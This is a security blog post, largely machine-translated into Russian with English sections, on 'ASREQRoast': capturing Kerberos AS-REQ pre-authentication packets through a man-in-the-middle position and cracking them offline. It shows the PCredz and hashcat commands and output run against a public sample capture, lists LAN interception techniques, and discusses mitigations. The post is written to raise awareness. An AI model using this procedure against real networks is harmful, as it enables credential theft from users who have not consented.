Какой взлом


Предыдущая | Следующая

http://dumpco.re/blog/asreqroast



     _    _____ _____ _____ _____ _____ _____             _   
    / |  |  _  |   __| __  |   __|     | __  |___ ___ ___| |_ 
 _ / /   |     |__   |    -|   __|  |  |    -| . | .'|_ -|  _|
|_|_/    |__|__|_____|__|__|_____|__  _|__|__|___|__,|___|_|  
                                    |__| 

2019-07-01

ASREQRoast - From MITM to hash 
==============================

Читая о типичном рабочем процессе аутентификации Kerberos, я
понял, что можно получить хеш пароля пользователя (который вы
может попытаться взломать). Единственное, что вам нужно сделать, это перехватить
первый пакет в процессе аутентификации Kerberos, называемый AS-REQ.

Я не нашел, что атака так хорошо задокументирована, как другие атаки, такие как
как kerberoasting или ASREPRoast [4], поэтому я решил написать этот пост
для повышения осведомленности о проблеме.

 

Эта атака означает, что злоумышленник, который может получить пассивную позиция человека посередине (MITM) на время входа пользователя в систему или другое
действие, которое запускает аутентификацию Kerberos, сможет запустить
атаки автономного взлома пароля против пользователя-жертвы, выполняющего
попытка аутентификации.

Хочу отметить, что об этой атаке известно как минимум с 2014 года:


"Таким образом, предварительная проверка подлинности Kerberos может предотвратить активную
злоумышленник. Однако это не мешает пассивному злоумышленнику.
от прослушивания зашифрованного сообщения с меткой времени клиента до
KDC. Если злоумышленник может обнюхать этот полный пакет, он
может перебрать его в автономном режиме "[5]

Самая старая ссылка на предварительную аутентификацию, которую я могу найти, - это rfc6113 [7],
который был опубликован в апреле 2011 года.


# Demo

For this demo, I'll use a sample from Wireshark's collection. Imagine that
you collected it yourself by sniffing traffic from a victim user.

Sample: krb-816 from wireshark's sample page[0].

Launching the PCredz[1] tool from @lgandx to scan the pcap file:


    ~/tools/PCredz $ ./Pcredz -f ~/downloads/krb-816.cap 
    Pcredz 1.0.0
    Author: Laurent Gaffie
    Please send bugs/comments/pcaps to: laurent.gaffie@gmail.com
    This script will extract NTLM (http,ldap,smb,sql,etc), Kerberos,
    FTP, HTTP Basic and credit card data from a given pcap file or from a
    live interface.
    CC number scanning activated
    Using TCPDump format
    1 protocol: udp 10.1.12.2:1059 > 10.5.3.1:88
    MSKerb hash found: $krb5pa$23$des$DENYDC$dummy$32d396a914a4d0a78e979ba7
    5d4ff53c1db7294141760fee05e434c12ecf8d5b9aa5839e09a2244893aff5f384f79c3
    7883f154a
    19 protocol: udp 10.1.12.2:1083 > 10.5.3.1:88
    MSKerb hash found: $krb5pa$23$u5$DENYDC$dummy$daf324dccec73739f6e49ef8f
    de60a9f9dfff50551ff5a7e969c6e395f18b842fb17c3b503df3025ab5a9dfc3031e893
    c4002008
    /home/magnus/downloads/krb-816.cap parsed in: 0.0747 seconds (File size
    0.0343 Mo).
 

Захват содержал два AS-REQ, которые использовали предварительную аутентификацию [2], что
означает, что NTLM-хэш пользователя использовался в качестве ключа шифрования для шифрования
отметка времени. Таким образом, мы можем проверить, есть ли у пользователя конкретный пароль,
хеширование его с помощью NTLM, а затем использование хеша в попытке расшифровать
зашифрованная метка времени. Если это сработало, мы успешно угадали пароль. Другими словами, мы можем запустить офлайн-атаку методом перебора.

Мы можем сделать это с помощью hashcat [3], режим 7500:



    ~/tools/hashcat $ ./hashcat -m 7500 as-req.hashes openwall.net-all.txt 
    hashcat (v5.1.0-893-gb8ab78d4) starting...
    ...
    Dictionary cache built:
    * Filename..: /Users/mks/resources/SecLists/Passwords/openwall.net-all.
    txt
    * Passwords.: 3721224
    * Bytes.....: 41000012
    * Keyspace..: 3721224
    * Runtime...: 0 secs

    $krb5pa$23$des$DENYDC$dummy$32d396a914a4d0a78e979ba75d4ff53c1db72941417
    60fee05e434c12ecf8d5b9aa5839e09a2244893aff5f384f79c37883f154a:123
    $krb5pa$23$u5$DENYDC$dummy$daf324dccec73739f6e49ef8fde60a9f9dfff50551ff
    5a7e969c6e395f18b842fb17c3b503df3025ab5a9dfc3031e893c4002008:123
                                                     
    Session..........: hashcat
    Status...........: Cracked
    Hash.Name........: Kerberos 5 AS-REQ Pre-Auth etype 23
    Hash.Target......: /Users/mks/shared/as-req.hashes
    Time.Started.....: Mon Jul  1 13:49:22 2019 (0 secs)
    Time.Estimated...: Mon Jul  1 13:49:22 2019 (0 secs)
    Guess.Base.......: File (/Users/mks/resources/SecLists/Passwords/openwa
    ll.net-all.txt)
    Guess.Queue......: 1/1 (100.00%)
    Speed.#2.........:   288.7 kH/s (7.43ms) @ Accel:2 Loops:1 Thr:64 Vec:1
    Speed.#*.........:   288.7 kH/s
    Recovered........: 2/2 (100.00%) Digests, 2/2 (100.00%) Salts
    Progress.........: 6144/7442448 (0.08%)
    Rejected.........: 0/6144 (0.00%)
    Restore.Point....: 0/3721224 (0.00%)
    Restore.Sub.#2...: Salt:1 Amplifier:0-1 Iteration:0-1
    Candidates.#2....: 12345 -> acumen

    Started: Mon Jul  1 13:49:13 2019
    Stopped: Mon Jul  1 13:49:24 2019


That's it.


# Mitigation

There's none. Technically speaking, you could disable kerberos
pre-authentication, but that makes you vulnerable to the even more scarier
ASREPRoast[4] attack. Your best bet is increasing the difficulty of
cracking user's passwords, ensuring that 2FA is enabled on all
authentication sites and increasing the difficulty of getting a MITM
position

Luckily, kerberos isn't typically used over the internet, therefore
limiting the attack surface. However gaining a MITM position on a LAN has
historically been straight forward.

As an example, these are just a few techniques to gain MITM on a LAN:

- ARP poisoning
- ICMP type 13 redirect
- rogue DHCP
- rogue IPv6 announcements

Проблема в том, что нет защиты конфиденциальности трафика.
Если бы использовалось только шифрование на транспортном уровне, проблема была бы решена.


# Practicality

Практичность этой атаки зависит от ваших способностей получить MITM.
и сложность паролей пользователей.
Поскольку нет никакой активной части, кроме MITMing жертвы, уровень
скрытность этой атаки такая же, как и уровень скрытности, задействованный в
получение и сохранение вашей позиции MITM.


# Password cracking performance

Here's a comparison from a hashcat benchmark of NTLM and the AS-REQ packet
on a RTX 2080Ti. As you can see it's 135 times slower to crack AS-REQ
hashes when comparing to NTLM hashes. That's not really that bad when
thinking about the fact that you could get cracking speeds of 632 GH/s with
NTLM for $7.34/hour on AWS[6]. That would be about 4.7 GH/s with AS-REQ.


    Hashmode: 1000 - NTLM
    Speed.#1.........: 87510.8 MH/s (24.82ms) @ Accel:32 Loops:1024 Thr:
    1024 Vec:2

    Hashmode: 7500 - Kerberos 5 AS-REQ Pre-Auth etype 23
    Speed.#1.........:   646.0 MH/s (54.71ms) @ Accel:128 Loops:64 Thr:
    64 Vec:1


If you have an opinion of the practicality of this attack, let me know.


# References

0: wiki.wireshark.org/SampleCaptures#Kerberos_and_keytab_file_for_decryption
1: github.com/lgandx/PCredz
2: ldapwiki.com/wiki/Kerberos Pre-Authentication
3: hashcat.net
4: harmj0y.net/blog/activedirectory/roasting-as-reps
5: social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx
6: coalfire.com/The-Coalfire-Blog/March-2019/High-Power-Hash-Cracking-with-NPK
7: tools.ietf.org/html/rfc6113